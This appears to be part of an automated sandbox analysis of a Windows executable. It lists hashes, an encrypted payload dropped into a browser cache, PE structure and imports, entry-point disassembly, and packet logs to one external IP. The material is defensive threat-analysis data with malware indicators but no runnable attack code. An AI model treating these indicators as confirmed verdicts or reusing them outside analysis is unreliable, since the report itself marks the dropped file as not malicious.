SHA-512:	D0F4A9271E3B320C2FE248B53D528EBCD80531899084E4A515E3848A3CC81F56B9BF87570A6E720F12E07C9B6C3F20C649D58E0CF5E85862B0238F9828087AB8
Malicious:	false
Preview:	...2z.....d.M..m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M.....b....M..{M..^...h...a/..)........K...b....M..{M..^...j......M..{M..^...mL\|...g<V..:Q.[".}r.....2>[ R..v....l.(&!.....b.....2>X....q4-......f....B1.}!.K.n.^..t..........v....T.BT..P.n.k..X....c..."OT.5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........p....y.. ...0...Gv...-.k....Zq..g..Zi....Rv.../^M..>........y..A.w.a..gt.'jp~PL.th..q......RTM9.7na...Y..K1..I!.,.D.....'e..O...{..m...%.......J....9H.j.....F.7...A..`Y.J.H....t,..be..7'^XdT\|.I....e.h~.'L.@......~...n3? Q.x...O.}..K.*..l..(...dW.q../T....\|..i.p>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Qybpdxzxxjklicipydzdiinowujxlof[2] Download File
Process:	C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe
File Type:	data
Category:	dropped
Size (bytes):	569856
Entropy (8bit):	7.99282321434094
Encrypted:	true
SSDEEP:	12288:dYc60EnAVs6C0uOxSlpED13CIsocT9N2x5TWyLaWK2qjfxNmn6YNm63LcoYj/PA:Wc60EnAVTuOxSba3koow5ba33m6YwEcO
MD5:	B006F7C6421D7B2136A4E9C6C2BFD063
SHA1:	805934F19FD118F344335DB386B74E21E06E9804
SHA-256:	DB9F569B3D39C68C16D4F81439985136CE1D22A690BA58F28F9519C514158EDD
SHA-512:	D0F4A9271E3B320C2FE248B53D528EBCD80531899084E4A515E3848A3CC81F56B9BF87570A6E720F12E07C9B6C3F20C649D58E0CF5E85862B0238F9828087AB8
Malicious:	false
Preview:	...2z.....d.M..m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M.....b....M..{M..^...h...a/..)........K...b....M..{M..^...j......M..{M..^...mL\|...g<V..:Q.[".}r.....2>[ R..v....l.(&!.....b.....2>X....q4-......f....B1.}!.K.n.^..t..........v....T.BT..P.n.k..X....c..."OT.5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........p....y.. ...0...Gv...-.k....Zq..g..Zi....Rv.../^M..>........y..A.w.a..gt.'jp~PL.th..q......RTM9.7na...Y..K1..I!.,.D.....'e..O...{..m...%.......J....9H.j.....F.7...A..`Y.J.H....t,..be..7'^XdT\|.I....e.h~.'L.@......~...n3? Q.x...O.}..K.*..l..(...dW.q../T....\|..i.p>.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.964910807610464
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fTset285bI.exe
File size:	1009152
MD5:	1fb012f2414da5a3515f704e855ab770
SHA1:	1d5ff9db7dfeaf2d4b0200fbbda00e89d058f525
SHA256:	6caf3e91a0bb501d8e7d08d8463407315debb31757137e5362795d91c161e6d6
SHA512:	cc01de90bcfa8235b7e81d1bff4da5fc204db8c58027d97ad75ba953f7615bc9ed1817ee27847d9da566c2021ef80761f4065ae1e82a6ffcf2364d2b20e577c9
SSDEEP:	24576:L5A8SqIkJpbDpQc6ScVHdJaHxA7VhLRYF:Lr5ZoHdJaRyzKF
File Content Preview:	MZ......................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	d2e6c45663c86871

Static PE Info

General
Entrypoint:	0x477a08
Entrypoint Section:	......
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A2E5E19 [Thu Jun 4 18:16:57 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7485e319df85e87afca01bdc77d12961

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00476B38h
call 00007FF2048F6BCDh
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
call 00007FF20494B059h
mov ecx, dword ptr [0047A270h]
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047656Ch]
call 00007FF20494B059h
mov eax, dword ptr [0047A460h]
mov eax, dword ptr [eax]
call 00007FF20494B0CDh
call 00007FF2048F4A3Ch
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7f000	0x28e6	......
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x72fc2	.....
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x84000	0x7230	......
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x83018	0x18	......
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x83000	0x18	......
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7f7ac	0x658	......
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.....	0x1000	0x75dc0	0x75e00	False	0.529974151644	data	6.5690645697	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
......	0x77000	0xa50	0xc00	False	0.535807291667	data	5.68654279388	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.....	0x78000	0x2604	0x2800	False	0.41875	data	4.27539272227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
....	0x7b000	0x38d8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
......	0x7f000	0x28e6	0x2a00	False	0.317057291667	data	5.12299679952	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
....	0x82000	0x34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
......	0x83000	0x30	0x200	False	0.1015625	data	0.606751191078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
......	0x84000	0x7230	0x7400	False	0.623013200431	data	6.65937740819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.....	0x8c000	0x72fc2	0x73000	False	0.55811608356	data	6.90086724292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
TMAP	0x8caf4	0x197eb	ASCII text, with very long lines, with CRLF line terminators	English	United States
RT_CURSOR	0xa62e0	0x134	data	English	United States
RT_CURSOR	0xa6414	0x134	data	English	United States
RT_CURSOR	0xa6548	0x134	data	English	United States
RT_CURSOR	0xa667c	0x134	data	English	United States
RT_CURSOR	0xa67b0	0x134	data	English	United States
RT_CURSOR	0xa68e4	0x134	data	English	United States
RT_CURSOR	0xa6a18	0x134	data	English	United States
RT_BITMAP	0xa6b4c	0x1d0	data	English	United States
RT_BITMAP	0xa6d1c	0x1e4	data	English	United States
RT_BITMAP	0xa6f00	0x1d0	data	English	United States
RT_BITMAP	0xa70d0	0x1d0	data	English	United States
RT_BITMAP	0xa72a0	0x1d0	data	English	United States
RT_BITMAP	0xa7470	0x1d0	data	English	United States
RT_BITMAP	0xa7640	0x1d0	data	English	United States
RT_BITMAP	0xa7810	0x1d0	data	English	United States
RT_BITMAP	0xa79e0	0x1d0	data	English	United States
RT_BITMAP	0xa7bb0	0x1d0	data	English	United States
RT_BITMAP	0xa7d80	0x506e0	data	English	United States
RT_BITMAP	0xf8460	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf8548	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf89b0	0x988	data	English	United States
RT_ICON	0xf9338	0x10a8	data	English	United States
RT_ICON	0xfa3e0	0x25a8	data	English	United States
RT_DIALOG	0xfc988	0x52	data
RT_DIALOG	0xfc9dc	0x52	data
RT_STRING	0xfca30	0x148	data
RT_STRING	0xfcb78	0x390	data
RT_STRING	0xfcf08	0x1a4	data
RT_STRING	0xfd0ac	0xc8	data
RT_STRING	0xfd174	0x118	data
RT_STRING	0xfd28c	0x39c	data
RT_STRING	0xfd628	0x390	data
RT_STRING	0xfd9b8	0x370	data
RT_STRING	0xfdd28	0x3cc	data
RT_STRING	0xfe0f4	0x214	data
RT_STRING	0xfe308	0xcc	data
RT_STRING	0xfe3d4	0x194	data
RT_STRING	0xfe568	0x3c4	data
RT_STRING	0xfe92c	0x338	data
RT_STRING	0xfec64	0x294	data
RT_GROUP_CURSOR	0xfeef8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef0c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef20	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef34	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef5c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xfef70	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0xfef84	0x3e	data	English	United States

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateEnhMetaFileA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CloseEnhMetaFile, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
URL	InetIsOffline

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:32:51.269341946 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.269391060 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.269511938 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.292016983 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.292047024 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.336431980 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.336599112 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.678277969 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.678307056 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.678625107 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.678694010 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.682795048 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720439911 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720532894 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720577002 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720613956 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720617056 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720638037 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720653057 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720680952 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720706940 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720714092 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720745087 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720751047 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720773935 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720781088 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720808029 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720808029 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720848083 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.720855951 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.720902920 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.721216917 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.721297979 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.721311092 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.721369982 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.721381903 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.721431971 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.721537113 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.721591949 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722204924 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722259045 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722279072 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722297907 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722310066 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722347975 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722357035 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722405910 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722419977 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722481966 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.722490072 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.722532988 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.723805904 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.723881006 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.723887920 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.723901987 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.723953009 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.723954916 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.724042892 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.724055052 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.724104881 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.724122047 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.724132061 CEST	443	49740	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.724159956 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.724194050 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.725095034 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.725140095 CEST	49740	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.760333061 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.760374069 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.760461092 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.761461973 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.761472940 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.889676094 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.889796019 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.890611887 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.890626907 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:51.897562981 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:51.897586107 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.010668039 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.010756016 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.010790110 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.010801077 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.010822058 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.010876894 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.247735023 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.247824907 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.247864962 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.247875929 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.247895002 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.247945070 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.264242887 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.264324903 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.264337063 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.264353037 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.264414072 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.264514923 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.264570951 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.264579058 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.264626026 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.264931917 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.267864943 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.267875910 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.267934084 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.267982960 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.268049002 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.268057108 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.268110991 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.268119097 CEST	443	49741	162.159.130.233	192.168.2.6
